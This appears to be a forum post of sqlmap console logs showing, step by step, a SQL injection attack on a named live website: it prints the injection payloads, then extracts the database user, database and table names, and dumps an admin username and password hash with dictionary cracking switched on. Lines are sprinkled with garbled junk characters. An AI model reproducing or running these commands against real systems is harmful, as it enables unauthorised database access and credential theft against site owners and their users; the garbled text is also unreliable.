sqlmap实例注入mysql

admin

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --current-user       /*  注解：获取当前用户名称
    sqlmap/0.9 - automatic SQL injection and database takeover tool
" g* l6 C4 s; c% r! {    http://sqlmap.sourceforge.net

starting at: 16:53:54
2 v  T. Y1 X$ B: R- S[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
: ?, T9 T3 V8 r3 z" l session file
, p" J' B8 m3 d; P[16:53:54] [INFO] resuming injection data from session file
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
6 h5 H4 i; R: {9 D7 |) m  _! ~- h[16:53:54] [INFO] testing connection to the target url
- c$ k& ]! u6 i# o/ [9 N/ i( Jsqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
* l: M: z8 u8 U" A( ]: hPlace: GET
Parameter: id
    Type: boolean-based blind
1 ~. M9 Z8 X+ d! I    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
1 J% J0 \* o6 c1 P: K120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
/ J) g# O3 K2 ~" @) P& Y5 y. B& X    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
+ u. ?' x7 f0 G2 p8 v$ x/ mCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
* b& f1 |/ _& O& d6 e! V    Type: AND/OR time-based blind
: x  Q) c7 U7 C) f) K/ D    Title: MySQL > 5.0.11 AND time-based blind
, w  A  h# L/ H9 \/ ~0 Z, T    Payload: id=276 AND SLEEP(5)
---
8 M4 E: @$ U6 ~5 [4 H) \[16:53:55] [INFO] the back-end DBMS is MySQL
) E" v  d" I1 V9 y' g% d: e/ p+ Hweb server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
5 V! O! n4 q; M8 n8 }# ~, Q4 Oback-end DBMS: MySQL 5.0
[16:53:55] [INFO] fetching current user
current user:    'root@localhost'   
( [0 K. l( Q" e! y[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\www.wepost.com.hk'

shutting down at: 16:53:58
+ z9 q, m5 p8 D& }# g
3 j1 }3 u! h4 B3 DD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --current-db                  /*当前数据库
* w! d% X! U" c; @8 m+ V    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:54:16
$ C4 d# X( g  ]5 U[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
# ~/ t& K! B7 B4 {: h7 } session file
& |% ?2 W0 F5 Z[16:54:16] [INFO] resuming injection data from session file
( a, \* j/ h$ @9 Q[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
' o- ^4 q9 j3 N; g[16:54:16] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
# k& N: D" p3 D$ P---
Place: GET
* r2 I/ [% M) s5 TParameter: id
! |7 y0 E9 Z/ R3 Q- X+ ~" Q    Type: boolean-based blind
0 w0 G4 y! Q$ d    Title: AND boolean-based blind - WHERE or HAVING clause
9 P/ B+ `0 u# s    Payload: id=276 AND 799=799
2 D& m9 X+ b2 j+ e    Type: error-based
3 w6 H: `- t- P7 T    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
9 Y+ `8 Q5 M9 q2 G$ E6 ^) N; s    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
8 q8 Y; c& T+ i120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
7 x2 A7 f# e, S# Q+ G! |6 x" |    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
1 g; U; b& v6 Z9 j# G9 J! d(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
; f; y; v( A4 h" fCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
' L+ C# r5 r, `; {& Y    Type: AND/OR time-based blind
, \. z5 |; ^4 L    Title: MySQL > 5.0.11 AND time-based blind
1 o* J0 v5 ~+ W9 I. u- a    Payload: id=276 AND SLEEP(5)
---
[16:54:17] [INFO] the back-end DBMS is MySQL
$ o* _; z$ [: b$ n- ?web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
; z& M/ `! y7 q$ T0 p- \back-end DBMS: MySQL 5.0
[16:54:17] [INFO] fetching current database
+ Y, h8 `" S2 t' C$ j* Y% R' i# ncurrent database:    'wepost'
. w% m+ L  |9 Q. @' b[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\www.wepost.com.hk'

shutting down at: 16:54:18
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
4 z0 M/ B* [, [3 Tms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名
0 J2 `9 F2 w* a$ W" C. X$ m4 \    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:55:25
) H) D- d9 q" a" I[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
3 B, |) G4 ^0 v) o4 P[16:55:25] [INFO] resuming injection data from session file
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
# o1 [2 e& U. ]1 u[16:55:25] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
5 O# O& B' Y+ ]. f6 P* f3 jsts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
5 A  h, y: p# H5 ^( ], f; X    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
    Type: error-based
) M, k, ~* `1 }# h7 B4 ?3 o    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
2 z  e1 J9 p9 Z6 f3 U    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
! _+ m) E$ [( g  f    Title: MySQL UNION query (NULL) - 1 to 10 columns
" d. |" y( S' _: N    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
9 i; q$ V% S; @; G(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
+ n! r# Z, J% l. G/ u. {    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
& i7 J% V  @- c[16:55:26] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
$ F: z2 E8 U5 v  Tback-end DBMS: MySQL 5.0
0 |8 M0 D+ j0 X$ S[16:55:26] [INFO] fetching tables for database 'wepost'
[16:55:27] [INFO] the SQL query used returns 6 entries
5 M; D+ I" x: I+ n* B$ \1 kDatabase: wepost
% |, B% C/ E- s: m# \[6 tables]
# ]' W: e% A6 k+ h+-------------+
| admin       |
1 D, I* E' t; G' _  x! G| article     |
9 V; [" |  R- p% f1 g| contributor |
& ~( C8 h) O4 `' p4 D4 q| idea        |
| image       |
  V. a4 q* J# R: `8 I( }) ]| issue       |
" V2 {# Y1 {1 W& k. r8 _+-------------+
3 W& q& ^4 _) n1 r$ p4 |[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
. D* H+ q" R) S2 l+ O0 R; `# d! I" a  Ztput\www.wepost.com.hk'

shutting down at: 16:55:33
: e- Z% V9 J8 b
, z' A: m6 t+ f- |5 D4 oD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
0 U$ H+ A' q: V' L& ]! ?ms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名
$ ?; M3 F. L0 n% V& U: N: m    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:56:06
5 ]+ v4 m1 ~) N1 ?' O' Xsqlmap identified the following injection points with a total of 0 HTTP(s) reque
. B7 ?6 v1 g. p2 {5 `6 [  I3 Lsts:
---
Place: GET
% U3 d3 u- u5 @# Y2 qParameter: id
0 p# m' Q0 w  ~. n8 f  S    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
) I" I/ f, S" O    Payload: id=276 AND 799=799
    Type: error-based
# {" E! H: w- v    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
6 U; Y$ r0 Z. O2 Q7 _    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
; v3 r% J; p& a2 L3 T),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
; C7 f( |( b8 f' `# P% `3 R    Type: UNION query
" ]( j  T8 ^& C7 k2 L% g4 B9 x& n    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
+ g# t& R5 E. k/ a! a- V(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
  s- d. a6 }/ l/ N, L& _CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
ssion': wepost, wepost
Database: wepost
- _8 G/ C) j- f, R& XTable: admin
3 t$ S4 w9 Q9 ^( v[4 columns]
8 s! ~8 U+ N* E2 N' H+----------+-------------+
| Column   | Type        |
+----------+-------------+
% Q; f" e) {) @" G' U0 H1 Y, }| id       | int(11)     |
6 |5 E  T0 E/ z2 _* [6 z' r  ?| password | varchar(32) |
| type     | varchar(10) |
| userid   | varchar(20) |
) t, z' H  Y4 V, @+----------+-------------+

shutting down at: 16:56:19

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
) D2 p( }% f) T4 I+ A0 L    sqlmap/0.9 - automatic SQL injection and database takeover tool
/ L; v8 g8 k5 J0 u6 b7 d3 `    http://sqlmap.sourceforge.net

starting at: 16:57:14
) E  d4 D0 g+ w/ ~" c: G; B' m2 Gsqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
7 M  }" H* }# @9 EPlace: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
& I% ?7 d' ?! g0 L    Payload: id=276 AND 799=799
    Type: error-based
7 y9 z' K' [: u( a    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
5 ]7 d/ k7 X! C" a: Z    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
1 Y' M7 M) X8 |  b% `4 c1 H4 b    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
/ |' [4 a- W: r5 c9 E7 l" A9 |    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
" h& ], n' f2 b7 ]6 T9 b    Payload: id=276 AND SLEEP(5)
---
web server operating system: Windows
* ?5 l& F9 V6 w! ^* e' G* g" Pweb application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
recognized possible password hash values. do you want to use dictionary attack o
n retrieved table items? [Y/n/q] y
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
do you want to use common password suffixes? (slow!) [y/N] y
, n! b( k2 R. J! Y/ DDatabase: wepost
Table: admin
[1 entry]
6 [; r1 G  g- l- J9 w+----------------------------------+------------+
| password                         | userid     |
4 S) @2 D" n. u1 s# Q3 {" A9 G+----------------------------------+------------+
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
' f7 s8 m8 m( G( c2 z/ W+----------------------------------+------------+
) x. x4 B- q, t/ h5 @0 v- ]8 R: n2 y9 v

shutting down at: 16:58:14

D:\Python27\sqlmap>